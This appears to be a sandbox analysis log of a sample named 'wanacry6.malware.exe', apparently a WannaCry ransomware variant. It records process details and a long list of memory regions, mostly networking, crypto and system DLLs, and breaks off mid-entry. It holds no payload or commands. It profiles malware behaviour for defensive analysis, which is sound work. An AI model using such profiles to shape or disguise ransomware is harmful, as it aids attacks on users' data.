# Flog Txt Version 1 # Analyzer Version: 2.1.0 # Analyzer Build Date: Aug 8 2017 10:23:35 # Log Creation Date: 08.08.2017 15:01:24.045 Process: id = "1" image_name = "wanacry6.malware.exe" filename = "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe" page_root = "0x3a386000" os_pid = "0xaa0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe\" " cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2 start_va = 0xe8f39f0000 end_va = 0xe8f3a0ffff entry_point = 0x0 region_type = private name = "private_0x000000e8f39f0000" filename = "" Region: id = 3 start_va = 0xe8f3a10000 end_va = 0xe8f3a1efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f3a10000" filename = "" Region: id = 4 start_va = 0xe8f3a20000 end_va = 0xe8f3e1ffff entry_point = 0x0 region_type = private name = "private_0x000000e8f3a20000" filename = "" Region: id = 5 start_va = 0xe8f3e20000 end_va = 0xe8f3e23fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f3e20000" filename = "" Region: id = 6 start_va = 0xe8f3e30000 end_va = 0xe8f3e31fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f3e30000" filename = "" Region: id = 7 start_va = 0xe8f3e40000 end_va = 0xe8f3e41fff entry_point = 0x0 region_type = private name = "private_0x000000e8f3e40000" filename = "" Region: id = 8 start_va = 0x7ff7562a0000 end_va = 0x7ff7562c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7562a0000" filename = "" Region: id = 9 start_va = 0x7ff7562c4000 end_va = 0x7ff7562c4fff entry_point = 0x0 region_type = private name = "private_0x00007ff7562c4000" filename = "" Region: id = 10 start_va = 0x7ff7562ce000 end_va = 0x7ff7562cffff entry_point = 0x0 region_type = private name = "private_0x00007ff7562ce000" filename = "" Region: id = 11 start_va = 0x7ff756b50000 end_va = 0x7ff756c58fff entry_point = 0x7ff756b50000 region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe") Region: id = 12 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 148 start_va = 0xe8f4010000 end_va = 0xe8f440ffff entry_point = 0x0 region_type = private name = "private_0x000000e8f4010000" filename = "" Region: id = 149 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a070000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 150 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a640000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 151 start_va = 0xe8f39f0000 end_va = 0xe8f39fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f39f0000" filename = "" Region: id = 152 start_va = 0xe8f3a00000 end_va = 0xe8f3a06fff entry_point = 0x0 region_type = private name = "private_0x000000e8f3a00000" filename = "" Region: id = 153 start_va = 0xe8f3e50000 end_va = 0xe8f3ecdfff entry_point = 0xe8f3e50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 154 start_va = 0x7ff7561a0000 end_va = 0x7ff75629ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7561a0000" filename = "" Region: id = 155 start_va = 0x7ffe21e80000 end_va = 0x7ffe21e89fff entry_point = 0x7ffe21e80000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 156 start_va = 0x7ffe22ac0000 end_va = 0x7ffe22ae9fff entry_point = 0x7ffe22ac0000 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 157 start_va = 0x7ffe22af0000 end_va = 0x7ffe22b0efff entry_point = 0x7ffe22af0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 158 start_va = 0x7ffe24b90000 end_va = 0x7ffe24baafff entry_point = 0x7ffe24b90000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 159 start_va = 0x7ffe24bb0000 end_va = 0x7ffe24e57fff entry_point = 0x7ffe24bb0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 160 start_va = 0x7ffe24e60000 end_va = 0x7ffe2509ffff entry_point = 0x7ffe24e60000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 161 start_va = 0x7ffe25c20000 end_va = 0x7ffe25c29fff entry_point = 0x7ffe25c20000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 162 start_va = 0x7ffe25c90000 end_va = 0x7ffe25c98fff entry_point = 0x7ffe25c90000 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 163 start_va = 0x7ffe25f10000 end_va = 0x7ffe25f38fff entry_point = 0x7ffe25f10000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 164 start_va = 0x7ffe280b0000 end_va = 0x7ffe28309fff entry_point = 0x7ffe280b0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 165 start_va = 0x7ffe28760000 end_va = 0x7ffe28800fff entry_point = 0x7ffe28760000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 166 start_va = 0x7ffe28ba0000 end_va = 0x7ffe28cc1fff entry_point = 0x7ffe28ba0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 167 start_va = 0x7ffe28d20000 end_va = 0x7ffe28d45fff entry_point = 0x7ffe28d20000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 168 start_va = 0x7ffe29460000 end_va = 0x7ffe2947efff entry_point = 0x7ffe29460000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 169 start_va = 0x7ffe29ea0000 end_va = 0x7ffe29eb3fff entry_point = 0x7ffe29ea0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 170 start_va = 0x7ffe2a360000 end_va = 0x7ffe2a3a9fff entry_point = 0x7ffe2a360000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 171 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3b0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 172 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a530000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 173 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a590000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 174 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a780000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 175 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 176 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a960000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 177 start_va = 0x7ffe2aab0000 end_va = 0x7ffe2bebefff entry_point = 0x7ffe2aab0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 178 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf40000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 179 start_va = 0x7ffe2c210000 end_va = 0x7ffe2c385fff entry_point = 0x7ffe2c210000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 180 start_va = 0x7ffe2c4d0000 end_va = 0x7ffe2c527fff entry_point = 0x7ffe2c4d0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 181 start_va = 0x7ffe2c710000 end_va = 0x7ffe2c7a9fff entry_point = 0x7ffe2c710000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 182 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 183 start_va = 0x7ffe2caa0000 end_va = 0x7ffe2caa6fff entry_point = 0x7ffe2caa0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 184 start_va = 0x7ffe2cab0000 end_va = 0x7ffe2cab8fff entry_point = 0x7ffe2cab0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 185 start_va = 0x7ffe2cac0000 end_va = 0x7ffe2cb10fff entry_point = 0x7ffe2cac0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 186 start_va = 0xe8f3ed0000 end_va = 0xe8f3ed6fff entry_point = 0x0 region_type = private name = "private_0x000000e8f3ed0000" filename = "" Region: id = 187 start_va = 0xe8f3f20000 end_va = 0xe8f3f2ffff entry_point = 0x0 region_type = private name = "private_0x000000e8f3f20000" filename = "" Region: id = 188 start_va = 0xe8f4410000 end_va = 0xe8f4597fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f4410000" filename = "" Region: id = 189 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 190 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c390000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 191 start_va = 0xe8f3ee0000 end_va = 0xe8f3ee0fff entry_point = 0x0 region_type = private name = "private_0x000000e8f3ee0000" filename = "" Region: id = 192 start_va = 0xe8f3ef0000 end_va = 0xe8f3ef0fff entry_point = 0x0 region_type = private name = "private_0x000000e8f3ef0000" filename = "" Region: id = 193 start_va = 0xe8f3f10000 end_va = 0xe8f3f11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f3f10000" filename = "" Region: id = 194 start_va = 0xe8f3f80000 end_va = 0xe8f3f8ffff entry_point = 0x0 region_type = private name = "private_0x000000e8f3f80000" filename = "" Region: id = 195 start_va = 0xe8f45a0000 end_va = 0xe8f4720fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f45a0000" filename = "" Region: id = 196 start_va = 0xe8f4730000 end_va = 0xe8f5b2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f4730000" filename = "" Region: id = 197 start_va = 0xe8f5b30000 end_va = 0xe8f5be9fff entry_point = 0xe8f5b30000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 198 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d70000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 199 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 200 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29cb0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 201 start_va = 0xe8f3f00000 end_va = 0xe8f3f00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f3f00000" filename = "" Region: id = 202 start_va = 0xe8f5b30000 end_va = 0xe8f5c1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f5b30000" filename = "" Region: id = 203 start_va = 0xe8f3f00000 end_va = 0xe8f3f03fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f3f00000" filename = "" Region: id = 204 start_va = 0xe8f3f30000 end_va = 0xe8f3f36fff entry_point = 0x0 region_type = private name = "private_0x000000e8f3f30000" filename = "" Region: id = 205 start_va = 0xe8f5c20000 end_va = 0xe8f5d1ffff entry_point = 0x0 region_type = private name = "private_0x000000e8f5c20000" filename = "" Region: id = 206 start_va = 0xe8f3f40000 end_va = 0xe8f3f40fff entry_point = 0x0 region_type = private name = "private_0x000000e8f3f40000" filename = "" Region: id = 207 start_va = 0x7ffe28580000 end_va = 0x7ffe285a0fff entry_point = 0x7ffe28580000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 208 start_va = 0xe8f5d20000 end_va = 0xe8f5ff4fff entry_point = 0xe8f5d20000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 209 start_va = 0xe8f3f50000 end_va = 0xe8f3f50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f3f50000" filename = "" Region: id = 210 start_va = 0x7ffe267b0000 end_va = 0x7ffe267dffff entry_point = 0x7ffe267b0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 223 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26550000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 224 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe29750000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 225 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c20000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 226 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26510000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 264 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 265 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 266 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 267 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 268 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 269 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 270 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 271 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 344 start_va = 0x7ffe29760000 end_va = 0x7ffe2977dfff entry_point = 0x7ffe29760000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 345 start_va = 0x7ffe29350000 end_va = 0x7ffe29384fff entry_point = 0x7ffe29350000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 346 start_va = 0x7ffe29990000 end_va = 0x7ffe299b5fff entry_point = 0x7ffe29990000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 887 start_va = 0xe8f6000000 end_va = 0xe8f60fffff entry_point = 0x0 region_type = private name = "private_0x000000e8f6000000" filename = "" Region: id = 888 start_va = 0xe8f6100000 end_va = 0xe8f6206fff entry_point = 0x0 region_type = private name = "private_0x000000e8f6100000" filename = "" Region: id = 889 start_va = 0xe8f6210000 end_va = 0xe8f6312fff entry_point = 0x0 region_type = private name = "private_0x000000e8f6210000" filename = "" Region: id = 890 start_va = 0xe8f6320000 end_va = 0xe8f6428fff entry_point = 0x0 region_type = private name = "private_0x000000e8f6320000" filename = "" Region: id = 891 start_va = 0xe8f6430000 end_va = 0xe8f653afff entry_point = 0x0 region_type = private name = "private_0x000000e8f6430000" filename = "" Region: id = 892 start_va = 0xe8f3f60000 end_va = 0xe8f3f60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f3f60000" filename = "" Region: id = 893 start_va = 0x7ffe2c120000 end_va = 0x7ffe2c1c3fff entry_point = 0x7ffe2c121170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 894 start_va = 0xe8f3f70000 end_va = 0xe8f3f70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f3f70000" filename = "" Region: id = 895 start_va = 0xe8f6100000 end_va = 0xe8f64fffff entry_point = 0x0 region_type = private name = "private_0x000000e8f6100000" filename = "" Region: id = 896 start_va = 0x7ff7562cc000 end_va = 0x7ff7562cdfff entry_point = 0x0 region_type = private name = "private_0x00007ff7562cc000" filename = "" Region: id = 897 start_va = 0x7ffe2c530000 end_va = 0x7ffe2c705fff entry_point = 0x7ffe2c5310c0 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 898 start_va = 0xe8f3f90000 end_va = 0xe8f3f92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f3f90000" filename = "" Region: id = 899 start_va = 0xe8f3fa0000 end_va = 0xe8f3fa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f3fa0000" filename = "" Region: id = 900 start_va = 0xe8f6500000 end_va = 0xe8f68f9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f6500000" filename = "" Region: id = 901 start_va = 0xe8f6900000 end_va = 0xe8f6cfffff entry_point = 0x0 region_type = private name = "private_0x000000e8f6900000" filename = "" Region: id = 902 start_va = 0x7ff7562ca000 end_va = 0x7ff7562cbfff entry_point = 0x0 region_type = private name = "private_0x00007ff7562ca000" filename = "" Region: id = 903 start_va = 0x7ffe26a30000 end_va = 0x7ffe26b93fff entry_point = 0x7ffe26a520f0 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 904 start_va = 0xe8f3fb0000 end_va = 0xe8f3fb3fff entry_point = 0xe8f3fb0000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 905 start_va = 0xe8f3fc0000 end_va = 0xe8f3fdafff entry_point = 0xe8f3fc0000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001a.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001a.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001a.db") Region: id = 906 start_va = 0xe8f3fb0000 end_va = 0xe8f3fb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f3fb0000" filename = "" Region: id = 907 start_va = 0xe8f6d00000 end_va = 0xe8f6e00fff entry_point = 0x0 region_type = private name = "private_0x000000e8f6d00000" filename = "" Region: id = 908 start_va = 0xe8f6d00000 end_va = 0xe8f6e00fff entry_point = 0x0 region_type = private name = "private_0x000000e8f6d00000" filename = "" Region: id = 1012 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1013 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1014 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1015 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1060 start_va = 0x7ffe22fd0000 end_va = 0x7ffe22fdafff entry_point = 0x7ffe22fd1030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1061 start_va = 0x7ffe29c80000 end_va = 0x7ffe29caafff entry_point = 0x7ffe29c81490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1062 start_va = 0xe8f3fe0000 end_va = 0xe8f3fe0fff entry_point = 0xe8f3fe0000 region_type = mapped_file name = "counters.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 1063 start_va = 0x7ffe27620000 end_va = 0x7ffe2762bfff entry_point = 0x7ffe27620000 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 1064 start_va = 0x7ffe22140000 end_va = 0x7ffe22204fff entry_point = 0x7ffe2214109c region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1065 start_va = 0xe8f6d00000 end_va = 0xe8f6dfffff entry_point = 0x0 region_type = private name = "private_0x000000e8f6d00000" filename = "" Region: id = 1066 start_va = 0x7ffe2a180000 end_va = 0x7ffe2a356fff entry_point = 0x7ffe2a1810a4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1067 start_va = 0x7ffe29f50000 end_va = 0x7ffe29f61fff entry_point = 0x7ffe29f510f4 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1068 start_va = 0xe8f6e00000 end_va = 0xe8f71fffff entry_point = 0x0 region_type = private name = "private_0x000000e8f6e00000" filename = "" Region: id = 1069 start_va = 0x7ff7562c8000 end_va = 0x7ff7562c9fff entry_point = 0x0 region_type = private name = "private_0x00007ff7562c8000" filename = "" Region: id = 1070 start_va = 0x7ffe296f0000 end_va = 0x7ffe29747fff entry_point = 0x7ffe296f1010 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1237 start_va = 0xe8f7200000 end_va = 0xe8f75fffff entry_point = 0x0 region_type = private name = "private_0x000000e8f7200000" filename = "" Region: id = 1238 start_va = 0xe8f7600000 end_va = 0xe8f79fffff entry_point = 0x0 region_type = private name = "private_0x000000e8f7600000" filename = "" Region: id = 1239 start_va = 0xe8f7a00000 end_va = 0xe8f7dfffff entry_point = 0x0 region_type = private name = "private_0x000000e8f7a00000" filename = "" Region: id = 1240 start_va = 